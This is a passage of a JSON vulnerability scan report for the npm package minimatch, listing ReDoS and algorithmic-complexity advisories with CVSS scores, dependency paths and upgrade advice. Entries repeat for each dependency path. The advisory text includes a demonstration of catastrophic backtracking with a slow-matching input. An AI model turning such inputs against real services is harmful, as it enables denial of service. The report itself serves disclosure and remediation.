Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", 